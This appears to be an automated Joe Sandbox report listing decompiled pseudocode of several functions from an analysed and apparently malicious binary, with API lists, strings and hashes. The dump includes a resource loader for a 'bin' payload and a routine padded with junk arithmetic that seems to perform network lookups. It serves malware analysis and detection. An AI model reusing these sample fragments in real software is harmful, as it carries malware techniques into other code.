Function 0042B56A, Relevance: 9.1, APIs: 6, Instructions: 147
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 80%

			E0042B56A(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t42;
				void* _t43;
				short* _t45;
				void* _t53;
				int _t58;
				int _t62;
				long _t66;
				int _t68;
				void* _t70;
				short* _t79;
				short* _t80;
				int _t81;
				int _t82;
				short* _t86;
				short* _t87;
				short* _t88;
				void* _t89;
				short* _t90;
				void* _t95;

				_t70 = __ecx;
				_push(0x1c);
				_push(0x42eff0);
				E0042664C(__ebx, __edi, __esi);
				_t86 = 0;
				_t95 =  *0x43239c - _t86; // 0x1
				if(_t95 == 0) {
					if(GetStringTypeW(1, 0x42eb1c, 1, _t89 - 0x1c) == 0) {
						_t66 = GetLastError();
						__eflags = _t66 - 0x78;
						if(_t66 == 0x78) {
							 *0x43239c = 2;
						}
					} else {
						 *0x43239c = 1;
					}
				}
				_t42 =  *0x43239c; // 0x1
				if(_t42 == 2 || _t42 == _t86) {
					_t68 =  *(_t89 + 0x1c);
					__eflags = _t68 - _t86;
					if(_t68 == _t86) {
						_t68 =  *0x4323d8; // 0x0
					}
					_t79 =  *(_t89 + 0x18);
					__eflags = _t79;
					if(_t79 == 0) {
						_t79 =  *0x4323e8; // 0x0
					}
					_push(_t68);
					_t43 = E0042C8B2();
					__eflags = _t43 - 0xffffffff;
					if(_t43 != 0xffffffff) {
						__eflags = _t43 - _t79;
						if(__eflags == 0) {
							L29:
							_t80 = GetStringTypeA(_t68,  *(_t89 + 8),  *(_t89 + 0xc),  *(_t89 + 0x10),  *(_t89 + 0x14));
							_t87 = _t86;
							__eflags = _t87;
							if(__eflags != 0) {
								_push(_t87);
								E004255BE(_t68, _t80, _t87, __eflags);
							}
							_t45 = _t80;
							goto L32;
						}
						_push(0);
						_push(0);
						_push(_t89 + 0x10);
						_push( *(_t89 + 0xc));
						_push(_t43);
						_push(_t79);
						_t86 = E0042C8F5(_t68, _t79, _t86, __eflags);
						__eflags = _t86;
						if(_t86 == 0) {
							goto L25;
						}
						 *(_t89 + 0xc) = _t86;
						goto L29;
					} else {
						goto L25;
					}
				} else {
					if(_t42 != 1) {
						L25:
						_t45 = 0;
						L32:
						return E00426687(_t45);
					}
					 *(_t89 - 0x24) = _t86;
					 *(_t89 - 0x20) = _t86;
					if( *(_t89 + 0x18) == _t86) {
						_t62 =  *0x4323e8; // 0x0
						 *(_t89 + 0x18) = _t62;
					}
					_t81 = MultiByteToWideChar( *(_t89 + 0x18), 1 + (0 |  *((intOrPtr*)(_t89 + 0x20)) != _t86) * 8,  *(_t89 + 0xc),  *(_t89 + 0x10), _t86, _t86);
					 *(_t89 - 0x28) = _t81;
					_t82 = _t81;
					if(_t82 == 0) {
						goto L25;
					} else {
						 *(_t89 - 4) =  *(_t89 - 4) & 0x00000000;
						_t69 = _t82 + _t82;
						_t53 = _t82 + _t82;
						E004254B0(_t53 + 0x00000003 & 0xfffffffc, _t70);
						 *(_t89 - 0x18) = _t90;
						_t88 = _t90;
						 *(_t89 - 0x2c) = _t88;
						E00425F70(_t88, 0, _t82 + _t82);
						 *(_t89 - 4) =  *(_t89 - 4) | 0xffffffff;
						_t103 = _t88;
						if(_t88 != 0) {
							L15:
							_t58 = MultiByteToWideChar( *(_t89 + 0x18), 1,  *(_t89 + 0xc),  *(_t89 + 0x10), _t88, _t82);
							if(_t58 != 0) {
								 *(_t89 - 0x24) = GetStringTypeW( *(_t89 + 8), _t88, _t58,  *(_t89 + 0x14));
							}
							_t106 =  *(_t89 - 0x20);
							if( *(_t89 - 0x20) != 0) {
								_push(_t88);
								E004255BE(_t69, _t82, _t88, _t106);
							}
							_t45 =  *(_t89 - 0x24);
							goto L32;
						} else {
							_push(_t82);
							_push(2);
							_t88 = E0042AF1A(_t69, _t82, _t88, _t103);
							if(_t88 == 0) {
								goto L25;
							}
							 *(_t89 - 0x20) = 1;
							goto L15;
						}
					}
				}
			}

0x0042b56a
0x0042b56a
0x0042b56c
0x0042b571
0x0042b576
0x0042b578
0x0042b57e
0x0042b596
0x0042b5a0
0x0042b5a6
0x0042b5a9
0x0042b5ab
0x0042b5ab
0x0042b598
0x0042b598
0x0042b598
0x0042b596
0x0042b5b5
0x0042b5bd
0x0042b6ad
0x0042b6b0
0x0042b6b2
0x0042b6b4
0x0042b6b4
0x0042b6bd
0x0042b6bd
0x0042b6bf
0x0042b6c1
0x0042b6c1
0x0042b6c7
0x0042b6c8
0x0042b6ce
0x0042b6d1
0x0042b6d7
0x0042b6d9
0x0042b6f9
0x0042b70c
0x0042b70e
0x0042b70e
0x0042b710
0x0042b712
0x0042b713
0x0042b718
0x0042b719
0x00000000
0x0042b719
0x0042b6db
0x0042b6dd
0x0042b6e2
0x0042b6e3
0x0042b6e6
0x0042b6e7
0x0042b6f0
0x0042b6f2
0x0042b6f4
0x00000000
0x00000000
0x0042b6f6
0x00000000
0x00000000
0x00000000
0x00000000
0x0042b5cb
0x0042b5ce
0x0042b6d3
0x0042b6d3
0x0042b71b
0x0042b723
0x0042b723
0x0042b5d4
0x0042b5d7
0x0042b5dd
0x0042b5df
0x0042b5e4
0x0042b5e4
0x0042b608
0x0042b60a
0x0042b60d
0x0042b60f
0x00000000
0x0042b615
0x0042b615
0x0042b619
0x0042b61d
0x0042b624
0x0042b629
0x0042b62c
0x0042b62e
0x0042b635
0x0042b63d
0x0042b658
0x0042b65a
0x0042b673
0x0042b680
0x0042b688
0x0042b698
0x0042b698
0x0042b69b
0x0042b69f
0x0042b6a1
0x0042b6a2
0x0042b6a7
0x0042b6a8
0x00000000
0x0042b65c
0x0042b65c
0x0042b65d
0x0042b667
0x0042b66a
0x00000000
0x00000000
0x0042b66c
0x00000000
0x0042b66c
0x0042b65a
0x0042b60f

APIs

GetStringTypeW.KERNEL32(00000001,0042EB1C,00000001,?,0042EFF0,0000001C,0042B0D3,00000001,00000020,00000100,?,00000000), ref: 0042B58E
GetLastError.KERNEL32 ref: 0042B5A0
MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,0042EFF0,0000001C,0042B0D3,00000001,00000020,00000100,?,00000000), ref: 0042B602
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000), ref: 0042B680
GetStringTypeW.KERNEL32(?,?,00000000,?,?,00000000), ref: 0042B692

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: ByteCharMultiStringTypeWide$ErrorLast
String ID:
API String ID: 3581945363-0
Opcode ID: 6780755d4ced6d9298dad178a255dde8d44eb90dbea5ed10f3881e7eb8e0d6b8
Instruction ID: eb30ca85099d61570f180020300babf654a6d93b5b09ba96610f26c02395bf25
Opcode Fuzzy Hash: 6780755d4ced6d9298dad178a255dde8d44eb90dbea5ed10f3881e7eb8e0d6b8
Instruction Fuzzy Hash: 1D41D431A00235EBCF219F61FC45BEF3BA5EF48760F944116F90496290C7798991CBE9

Uniqueness

Uniqueness Score: -1.00%

Function 0041AE80, Relevance: 9.0, APIs: 1, Strings: 5, Instructions: 31
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041AE80(void* __ecx, void* __esi, void* __eflags) {
				intOrPtr _v4;
				char _v6;
				char _v7;
				char _v8;
				char _v9;
				char _v10;
				char _v11;
				char _v12;
				intOrPtr _t14;
				void* _t17;
				void* _t29;

				_t14 =  *0x4310d8; // 0xd0c2a9a8
				_v4 = _t14;
				_t29 = __ecx;
				_v12 = 0x51;
				_v11 = 0x55;
				_v10 = 0x49;
				_v9 = 0x54;
				_v8 = 0xd;
				_v7 = 0xa;
				_v6 = 0;
				_t17 = E0041BC30(lstrlenA( &_v12), _t29,  &_v12, _t16);
				_t11 =  &_v12; // 0xd
				return E00424873((0 | _t17 != 0xffffffff) - 0x00000001 & 0x00000007,  *_t11);
			}

0x0041ae83
0x0041ae88
0x0041ae92
0x0041ae94
0x0041ae99
0x0041ae9e
0x0041aea3
0x0041aea8
0x0041aead
0x0041aeb2
0x0041aec5
0x0041aeca
0x0041aee5

APIs

lstrlenA.KERNEL32 ref: 0041AEB7

Part of subcall function 0041BC30: WaitForSingleObject.KERNEL32(?,?), ref: 0041BCA3
Part of subcall function 0041BC30: GetOverlappedResult.KERNEL32(000000FF,?,00000001,00000000), ref: 0041BCB8

Strings

T, xrefs: 0041AEA3
TI, xrefs: 0041AECA
I, xrefs: 0041AE9E
Q, xrefs: 0041AE94
U, xrefs: 0041AE99

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: ObjectOverlappedResultSingleWaitlstrlen
String ID: TI$I$Q$T$U
API String ID: 1203007601-4180699136
Opcode ID: ed0303fd2a6afdd30154ecfc88d90d6c20b075749df1e2260d2f0a960f33f61a
Instruction ID: 301686960094d4809af912793bbcb5906ed8551e1f1d0e03f2bc55d77cb3246a
Opcode Fuzzy Hash: ed0303fd2a6afdd30154ecfc88d90d6c20b075749df1e2260d2f0a960f33f61a
Instruction Fuzzy Hash: 19F0C26510C390AED301D329D84479FBFC49BD5318F48C95EF0DC86291D678C588C767

Uniqueness

Uniqueness Score: -1.00%

Function 0042B1B9, Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 134
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 90%

			E0042B1B9(void* __ebx, void* __edi, void* __esi, int _a4) {
				intOrPtr _v8;
				char _v21;
				char _v22;
				struct _cpinfo _v28;
				int _v32;
				intOrPtr _t31;
				void* _t36;
				signed char _t39;
				intOrPtr _t41;
				signed int _t42;
				signed int _t44;
				void* _t48;
				void* _t49;
				signed int _t51;
				signed int _t54;
				signed int _t56;
				signed int _t59;
				signed int _t61;
				intOrPtr* _t65;
				signed int _t67;
				signed char _t68;
				signed char _t70;
				signed char _t71;
				signed int _t72;
				void* _t73;
				signed int _t76;
				int _t80;
				signed int _t81;

				_t73 = __edi;
				_t31 =  *0x4310d8; // 0xd0c2a9a8
				_t80 = _a4;
				_v8 = _t31;
				if(_t80 == 0) {
					L29:
					E0042B004();
				} else {
					_t67 = 0;
					_t36 = 0;
					while( *((intOrPtr*)(_t36 + 0x431930)) != _t80) {
						_t36 = _t36 + 0x30;
						_t67 = _t67 + 1;
						if(_t36 < 0xf0) {
							continue;
						} else {
							_t44 = GetCPInfo(_t80,  &_v28);
							if(_t44 != 1) {
								__eflags =  *0x432394; // 0x1
								if(__eflags == 0) {
									_t34 = _t44 | 0xffffffff;
									__eflags = _t44 | 0xffffffff;
								} else {
									goto L29;
								}
							} else {
								_t61 = 0x40;
								memset(0x432520, 0, _t61 << 2);
								asm("stosb");
								 *0x432624 = _t80;
								 *0x43250c = 0;
								if(_v28 <= 1) {
									 *0x432514 = 0;
								} else {
									if(_v22 != 0) {
										_t65 =  &_v21;
										while(1) {
											_t71 =  *_t65;
											if(_t71 == 0) {
												goto L23;
											}
											_t51 =  *(_t65 - 1) & 0x000000ff;
											_t72 = _t71 & 0x000000ff;
											while(_t51 <= _t72) {
												 *(_t51 + 0x432521) =  *(_t51 + 0x432521) | 0x00000004;
												_t51 = _t51 + 1;
												__eflags = _t51;
											}
											_t65 = _t65 + 2;
											if( *(_t65 - 1) != 0) {
												continue;
											}
											goto L23;
										}
									}
									L23:
									_t48 = 1;
									do {
										 *(_t48 + 0x432521) =  *(_t48 + 0x432521) | 0x00000008;
										_t48 = _t48 + 1;
									} while (_t48 < 0xff);
									_t49 = _t80;
									 *0x43250c = E0042AFD5(_t49);
									 *0x432514 = 1;
								}
								_t73 = 0x432630;
								asm("stosd");
								asm("stosd");
								asm("stosd");
								L30:
								E0042B02D(0, _t73, _t80);
								_t34 = 0;
							}
						}
						goto L32;
					}
					_t56 = 0x40;
					memset(0x432520, 0, _t56 << 2);
					_t59 = _t67 + _t67 * 2 << 4;
					__eflags = _t59;
					_v32 = 0;
					asm("stosb");
					_t14 = _t59 + 0x431940; // 0x431980
					_t54 = _t14;
					do {
						_t39 =  *_t54;
						_t81 = _t54;
						while(1) {
							__eflags = _t39;
							if(_t39 == 0) {
								goto L18;
							}
							_t15 = _t81 + 1; // 0xfe
							_t68 =  *_t15;
							__eflags = _t68;
							if(_t68 != 0) {
								_t42 = _t39 & 0x000000ff;
								_t76 = _t68 & 0x000000ff;
								__eflags = _t42 - _t76;
								if(_t42 <= _t76) {
									_t70 =  *((intOrPtr*)(_v32 + 0x431928));
									do {
										 *(_t42 + 0x432521) =  *(_t42 + 0x432521) | _t70;
										_t42 = _t42 + 1;
										__eflags = _t42 - _t76;
									} while (_t42 <= _t76);
								}
								_t81 = _t81 + 2;
								__eflags = _t81;
								_t39 =  *_t81;
								continue;
							}
							goto L18;
						}
						L18:
						_v32 = _v32 + 1;
						_t54 = _t54 + 8;
						__eflags = _v32 - 4;
					} while (_v32 < 4);
					 *0x432624 = _a4;
					 *0x432514 = 1;
					_t41 = E0042AFD5(_a4);
					_t80 = _t59 + 0x431934;
					_t73 = 0x432630;
					asm("movsd");
					asm("movsd");
					 *0x43250c = _t41;
					asm("movsd");
				}
				L32:
				return E00424873(_t34, _v8);
			}

0x0042b1b9
0x0042b1bf
0x0042b1c6
0x0042b1cd
0x0042b1d1
0x0042b32b
0x0042b32b
0x0042b1d7
0x0042b1d7
0x0042b1d9
0x0042b1db
0x0042b1e3
0x0042b1e6
0x0042b1ec
0x00000000
0x0042b1ee
0x0042b1f3
0x0042b1fc
0x0042b323
0x0042b329
0x0042b339
0x0042b339
0x00000000
0x00000000
0x00000000
0x0042b202
0x0042b20a
0x0042b210
0x0042b212
0x0042b213
0x0042b219
0x0042b21f
0x0042b311
0x0042b225
0x0042b229
0x0042b22f
0x0042b232
0x0042b232
0x0042b236
0x00000000
0x00000000
0x0042b23c
0x0042b240
0x0042b2d9
0x0042b2d1
0x0042b2d8
0x0042b2d8
0x0042b2d8
0x0042b2de
0x0042b2e3
0x00000000
0x00000000
0x00000000
0x0042b2e3
0x0042b232
0x0042b2e9
0x0042b2ec
0x0042b2ee
0x0042b2ee
0x0042b2f5
0x0042b2f6
0x0042b2fe
0x0042b304
0x0042b309
0x0042b309
0x0042b319
0x0042b31e
0x0042b31f
0x0042b320
0x0042b330
0x0042b330
0x0042b335
0x0042b335
0x0042b1fc
0x00000000
0x0042b1ec
0x0042b24c
0x0042b252
0x0042b257
0x0042b257
0x0042b25a
0x0042b25d
0x0042b25e
0x0042b25e
0x0042b264
0x0042b264
0x0042b266
0x0042b293
0x0042b293
0x0042b295
0x00000000
0x00000000
0x0042b26a
0x0042b26a
0x0042b26d
0x0042b26f
0x0042b271
0x0042b274
0x0042b277
0x0042b279
0x0042b27e
0x0042b284
0x0042b284
0x0042b28a
0x0042b28b
0x0042b28b
0x0042b284
0x0042b290
0x0042b290
0x0042b291
0x00000000
0x0042b291
0x00000000
0x0042b26f
0x0042b297
0x0042b297
0x0042b29a
0x0042b29d
0x0042b29d
0x0042b2a6
0x0042b2ab
0x0042b2b5
0x0042b2c0
0x0042b2c2
0x0042b2c7
0x0042b2c8
0x0042b2c9
0x0042b2ce
0x0042b2ce
0x0042b33c
0x0042b348

APIs

GetCPInfo.KERNEL32(?,?,00000000,00000000), ref: 0042B1F3

Strings

%C, xrefs: 0042B24D
0&C, xrefs: 0042B319
%C, xrefs: 0042B20B
0&C, xrefs: 0042B2C2

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: Info
String ID: %C$ %C$0&C$0&C
API String ID: 1807457897-4187950356
Opcode ID: 14f9e52fa43122bcdece41b550dc7bda4cb97eb5a873c3db15afd87d42580a03
Instruction ID: f4724dd2947877cd11b7e083e1ed8b4cb1e3be8f6f2234f8b728f57f18547b1c
Opcode Fuzzy Hash: 14f9e52fa43122bcdece41b550dc7bda4cb97eb5a873c3db15afd87d42580a03
Instruction Fuzzy Hash: 9A412370A043619ED705CF68A99827EBBA1DB09304FA850BBD985C7251C3798A46CBED

Uniqueness

Uniqueness Score: -1.00%

Function 00421DE0, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E00421DE0(intOrPtr* _a4, intOrPtr* _a8, struct HINSTANCE__* _a12, CHAR* _a16) {
				struct HRSRC__* _t6;
				long _t8;
				void* _t10;
				void* _t12;
				struct HINSTANCE__* _t13;
				void* _t17;
				void* _t18;
				struct HRSRC__* _t23;
				intOrPtr _t24;

				_t13 = _a12;
				_t6 = FindResourceA(_t13, _a16, "bin");
				_t23 = _t6;
				if(_t23 != 0) {
					_push(LoadResource(_t13, _t23));
					_pop(_t17);
					_t18 = _t17;
					if(_t18 != 0) {
						_t8 = SizeofResource(_t13, _t23);
						_push(_t18);
						_t24 = _t8;
						_t10 = LockResource(??);
						if(_t10 == 0) {
							goto L3;
						} else {
							 *_a4 = _t10;
							 *_a8 = _t24;
							_t12 = 1;
							return _t12;
						}
					} else {
						L3:
						return 0;
					}
				} else {
					return _t6;
				}
			}

0x00421de5
0x00421df1
0x00421df9
0x00421dfb
0x00421e09
0x00421e0a
0x00421e0b
0x00421e0d
0x00421e17
0x00421e1d
0x00421e1f
0x00421e26
0x00421e28
0x00000000
0x00421e2a
0x00421e32
0x00421e35
0x00421e3c
0x00421e3e
0x00421e3e
0x00421e0f
0x00421e0f
0x00421e14
0x00421e14
0x00421dfd
0x00421dff
0x00421dff

APIs

FindResourceA.KERNEL32(?,?,bin), ref: 00421DF1
LoadResource.KERNEL32(?,00000000,?), ref: 00421E03

Strings

bin, xrefs: 00421DEA

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: Resource$FindLoad
String ID: bin
API String ID: 2619053042-2854705901
Opcode ID: e8cf52fc9be825a7fa70c71a8964cec7bfedc0b2d540305152d57195dbe6e3e1
Instruction ID: 88ab13bcecdc5fa94a22156ebfce70c93ea2cd0ecd99c8cc0ca1d96ab53727fe
Opcode Fuzzy Hash: e8cf52fc9be825a7fa70c71a8964cec7bfedc0b2d540305152d57195dbe6e3e1
Instruction Fuzzy Hash: 5CF062B23052306BD320DBAABC88C9BBBADEBC57627504837F545C6210C3748802C7B5

Uniqueness

Uniqueness Score: -1.00%

Function 00424722, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00424722(void* __eflags) {
				void* _t30;
				void* _t32;
				intOrPtr* _t36;
				void* _t38;
				void* _t39;
				void* _t40;
				void* _t44;

				_t44 = __eflags;
				E0042647C(E0042D55D, _t40);
				E00402A90("invalid string position");
				 *(_t40 - 4) =  *(_t40 - 4) & 0x00000000;
				_t4 = _t40 - 0x28; // 0xe
				_t5 = _t40 - 0x50; // -26
				E00402A30(_t5, _t44, _t4);
				_push(0x42fb3c);
				_t6 = _t40 - 0x50; // -26
				 *((intOrPtr*)(_t40 - 0x50)) = 0x42e474;
				E0042509E();
				asm("int3");
				E0042647C(E0042D55D, _t40);
				E00402A90("string too long");
				 *(_t40 - 4) =  *(_t40 - 4) & 0x00000000;
				_t11 = _t40 - 0x28; // 0xe
				_t12 = _t40 - 0x50; // -26
				_t36 = _t12;
				E00402A30(_t36, _t44, _t11);
				_push(0x42fadc);
				_t13 = _t40 - 0x50; // 0xe
				 *((intOrPtr*)(_t40 - 0x50)) = 0x42e468;
				_t30 = E0042509E();
				asm("int3");
				 *_t36 = 0x42e4a8;
				_t45 =  *((intOrPtr*)(_t36 + 8));
				 *_t36 = 0x42e4f0;
				if( *((intOrPtr*)(_t36 + 8)) != 0) {
					_push( *((intOrPtr*)(_t36 + 4)));
					return E004255BE(_t32, _t38, _t39, _t45);
				}
				return _t30;
			}

0x00424722
0x00424727
0x00424737
0x0042473c
0x00424740
0x00424744
0x00424747
0x0042474c
0x00424751
0x00424755
0x0042475c
0x00424761
0x00424767
0x00424777
0x0042477c
0x00424780
0x00424784
0x00424784
0x00424787
0x0042478c
0x00424791
0x00424795
0x0042479c
0x004247a1
0x004247a2
0x00425170
0x00425174
0x0042517a
0x0042517c
0x00000000
0x00425184
0x00425185

APIs

__EH_prolog.LIBCMT ref: 00424727

Part of subcall function 0042509E: RaiseException.KERNEL32(?,?,?,?,?,0042E4A8,?,?,?,00424841,0042D4D3,004301F4,00432030,00413E01,0042D4D3,000000FF), ref: 004250CC

__EH_prolog.LIBCMT ref: 00424767

Strings

invalid string position, xrefs: 0042472F
hB, xrefs: 00424795
string too long, xrefs: 0042476F

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: H_prolog$ExceptionRaise
String ID: hB$invalid string position$string too long
API String ID: 2062786585-4136523384
Opcode ID: 88d8fa90d7c6c8d718b7f6f7407bcfcb0e3c6434c47ad0064ef0aedc0834ee80
Instruction ID: 11e73fe8e2f787134ba4100129d5177836af9054e9acb309ed81b3bbf2727209
Opcode Fuzzy Hash: 88d8fa90d7c6c8d718b7f6f7407bcfcb0e3c6434c47ad0064ef0aedc0834ee80
Instruction Fuzzy Hash: E1F012B2B101389AC700F7D5E945ADDB774AB18319FD0416BE101B5085DBF85608CB6D

Uniqueness

Uniqueness Score: -1.00%

Function 00404110, Relevance: 7.8, APIs: 5, Instructions: 307
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 43%

			E00404110(intOrPtr __ecx, signed int _a4, signed int _a8) {
				void* _v0;
				char _v12;
				signed int _v16;
				long _v20;
				intOrPtr _v28;
				long _v36;
				intOrPtr _v40;
				intOrPtr _v48;
				char _v52;
				intOrPtr _v56;
				char _v68;
				char _v72;
				char _v76;
				char _v80;
				intOrPtr _v84;
				char _v92;
				char _v96;
				char _v100;
				intOrPtr _v104;
				char _v108;
				intOrPtr _v112;
				char _v116;
				char _v120;
				char _v124;
				char _v128;
				intOrPtr _v132;
				char _v136;
				intOrPtr* _v140;
				intOrPtr* _v144;
				intOrPtr* _v148;
				char _v156;
				void* __ebp;
				signed int _t114;
				intOrPtr* _t124;
				intOrPtr _t129;
				signed char _t136;
				signed char _t139;
				signed int _t140;
				void* _t150;
				signed int _t152;
				void* _t155;
				signed char _t157;
				signed char _t158;
				intOrPtr* _t161;
				void* _t171;
				signed int _t181;
				signed int _t182;
				signed int _t185;
				signed int _t188;
				void* _t193;
				void* _t197;
				signed int _t200;
				void* _t216;
				void* _t225;
				intOrPtr _t230;
				intOrPtr _t240;
				void* _t243;
				intOrPtr* _t247;
				intOrPtr* _t250;
				void* _t254;
				signed char _t257;
				intOrPtr _t265;
				char _t266;
				intOrPtr _t269;
				void* _t270;

				_push(0xffffffff);
				_push(E0042D220);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t269;
				_t270 = _t269 - 0x6c;
				_t257 = _a8;
				_push( *((intOrPtr*)( *((intOrPtr*)(_t257 + 4)) + 4)));
				_t193 = _t257;
				_v112 = __ecx;
				E00402BC0(_t193);
				 *((intOrPtr*)( *((intOrPtr*)(_t257 + 4)) + 4)) =  *((intOrPtr*)(_t257 + 4));
				 *((intOrPtr*)(_t257 + 8)) = 0;
				 *((intOrPtr*)( *((intOrPtr*)(_t257 + 4)))) =  *((intOrPtr*)(_t257 + 4));
				 *((intOrPtr*)( *((intOrPtr*)(_t257 + 4)) + 8)) =  *((intOrPtr*)(_t257 + 4));
				_t114 =  *0x431c82; // 0x0
				_t181 = (_t114 * 0x00000016 - 0x0000001f & 0x000000ff | _a4 & 0x000000ff) + 0x00000078 ^ 0x00000053;
				_a4 = _t181 ^ _t114 * 0x00000016 >> 0x00000020;
				WaitForSingleObject(_v0, 0xffffffff);
				_t182 = _t181 | 0x00007df3;
				_v84 = 0;
				_t247 = _v0;
				_t124 = _t247;
				_a4 = _a4 | _t182 * 0x0000006e - 0x0000001f;
				_v80 = 0xf;
				_v100 = 0;
				_t197 = _t124 + 1;
				do {
					_t230 =  *_t124;
					_t124 = _t124 + 1;
				} while (_t230 != 0);
				E004028A0( &_v100, _t247, _t124 - _t197);
				_v12 = 0;
				_t129 =  *((intOrPtr*)(E004029C0( &_v116,  &_v108)));
				_v132 = _t129;
				_v20 = 0xffffffff;
				if(_v92 >= 0x10) {
					_push(_v96);
					L00424BCD();
					_t129 = _v116;
					_t270 = _t270 + 4;
				}
				_v76 = 0xf;
				_v80 = 0;
				_v96 = 0;
				if(_t129 == _a8) {
					_a8 = _a8 & 0x000000ff ^ _t182 ^ 0x00000039;
					ReleaseMutex(_v0);
					_t200 = _a8;
					_t136 = _t200 ^ 0x00000016;
					_push(0);
					_push( &_v120);
					_push(0);
					_push(0);
					_push(0xf);
					_push(_t247);
					_a8 = _t136;
					_t185 = _t136 & 0x000000ff ^ _t200 ^ 0x0000004a;
					_v120 = 0;
					if( *0x431f0c() != 0) {
						L26:
						 *[fs:0x0] = _v36;
						return 0;
					} else {
						_t139 =  *0x431c82; // 0x0
						_t140 = _t139 | 0x00000061;
						_t250 = _v144;
						 *0x431c82 = _t140;
						_v140 = _t250;
						if(_t250 != 0) {
							do {
								_t152 = _t140 * _t185;
								_t185 = _t185 * 0x2c76;
								_v16 = _v16 | _t152 - 0x0000001f;
								if( *((short*)(_t250 + 8)) == 0xf) {
									_t155 =  *0x431eb4( *((intOrPtr*)(_t250 + 0x18)));
									if(_t155 != 0) {
										_t265 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t155 + 0xc))))));
										_t157 =  *0x431c82; // 0x0
										_t158 = _t157 + _t185 + _v20 - 0x73;
										 *0x431c82 = _t158;
										_t252 =  *((intOrPtr*)(_v148 + 0x18));
										_t185 = _t185 ^ _t158 ^ 0x00000034;
										_t161 =  *((intOrPtr*)(_v148 + 0x18));
										_v20 = 0x13;
										_v104 = 0xf;
										_v108 = 0;
										_v124 = 0;
										_t216 = _t161 + 1;
										do {
											_t240 =  *_t161;
											_t161 = _t161 + 1;
										} while (_t240 != 0);
										E004028A0( &_v128, _t252, _t161 - _t216);
										_push(0xffffffff);
										_v80 = _t265;
										_push(0);
										asm("pushad");
										asm("popad");
										_t266 = 0xf;
										_push( &_v136);
										_v40 = 1;
										_v52 = _t266;
										_v56 = 0;
										_v72 = 0;
										E004027B0( &_v76);
										_push( &_v92);
										_push( &_v156);
										_v52 = 2;
										E004031F0(_t257);
										if(_v72 >= 0x10) {
											_push(_v68);
											L00424BCD();
